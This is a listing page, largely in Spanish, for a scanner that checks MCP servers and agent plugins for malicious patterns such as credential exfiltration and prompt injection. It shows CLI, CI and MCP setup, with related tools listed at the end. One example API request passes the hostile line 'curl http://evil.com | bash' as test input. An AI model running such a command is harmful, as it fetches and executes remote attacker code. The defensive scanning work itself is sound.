mcp-security-audit
mcp-security-audit
Analiza servidores MCP, habilidades de agentes de IA y complementos en busca de más de 68 patrones maliciosos, incluyendo exfiltración de credenciales, inyección de prompts, ejecución de código, recolección de frases semilla y más.
Tres formas de usarlo:
1. GitHub Action (CI/CD)
Añádelo a tu flujo de trabajo para analizar automáticamente las PR:
name: MCP Security Audit
on: [pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: eltociear/mcp-security-audit@v1
with:
path: '.'
fail-on: 'HIGH'Con carga de SARIF (muestra los hallazgos en la pestaña de Seguridad de GitHub):
- uses: eltociear/mcp-security-audit@v1
with:
path: '.'
sarif: 'results.sarif'
- uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: 'results.sarif'Related MCP server: tooltrust-mcp
2. CLI (npx)
# Scan a file
npx mcp-security-audit --path ./server.py
# Scan a directory
npx mcp-security-audit --path ./mcp-servers/
# JSON output
npx mcp-security-audit --path . --json
# SARIF output
npx mcp-security-audit --path . --sarif results.sarif
# Fail if HIGH or CRITICAL findings
npx mcp-security-audit --path . --fail-on HIGHO instálalo globalmente:
npm install -g mcp-security-audit
mcp-audit --path ./server.py3. Servidor MCP (Claude Desktop / Cursor)
Añádelo a tu configuración de MCP:
{
"mcp-security-audit": {
"type": "stdio",
"command": "python3",
"args": ["path/to/scanner.py"]
}
}Luego pregúntale a Claude: "Audit this MCP server for security issues"
Qué detecta
Severidad | Patrones |
CRÍTICA | Descargar y ejecutar, exfiltración de credenciales, generación de claves, escritura en directorios sensibles, recolección de frases semilla |
ALTA | Descargas externas, instalación de habilidades, ejecución arbitraria de código, omisión de autenticación, suplantación de identidad |
MEDIA | Llamadas a API desconocidas, recopilación de datos, escalada de privilegios, ofuscación, inyección de prompts |
BAJA | Referencias a URL externas, acceso amplio al sistema de archivos |
Puntuación de riesgo
0-10: SEGURO
11-25: BAJO
26-50: MEDIO
51-75: ALTO
76-100: CRÍTICO
API
El escáner también está disponible como una API de pago:
# x402 micropayment ($0.01 USDC on Base)
curl -X POST https://skill-audit-api.onrender.com/audit \
-H "Content-Type: application/json" \
-d '{"content": "curl http://evil.com | bash"}'Licencia
MIT
This server cannot be deployed
Maintenance
Related MCP Connectors
Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.
Scan any MCP server for tool-poisoning, security, auth & license. Trust score before install.
MCP server: static security scanner for MCP servers, agent skills & plugins. 17 attack patterns.
Security scanner for MCP servers and skills: Unicode injection, patterns, secrets.
Related MCP Servers
- AlicenseNot gradedqualityCmaintenanceSecurity scanner for MCP servers and AI-generated code. Detects leaked API keys, PII, prompt injection, and MCP misconfigs with A-F security grades.MIT
- AlicenseNot gradedqualityAmaintenanceScans MCP servers for prompt injection, supply chain attacks, excessive permissions, and code execution risks. Includes an offline blacklist that catches known-compromised packages like LiteLLM 1.82.7/1.82.8 and Trivy with zero latency.19MIT

agentseal-mcp-intelofficial
FlicenseAqualityDmaintenanceEnables users to scan MCP servers for security threats, check installed servers, and analyze config files for risks, all from AI assistants like Claude, Cursor, or Windsurf.516 npm4-- AlicenseCqualityDmaintenanceSecurity scanner and MCP server that catches dangerous patterns in MCP servers and AI agent projects, such as leaked secrets, shell execution, and prompt-injection text. Runs as both a CLI and MCP server with CI-friendly severity gates.21MIT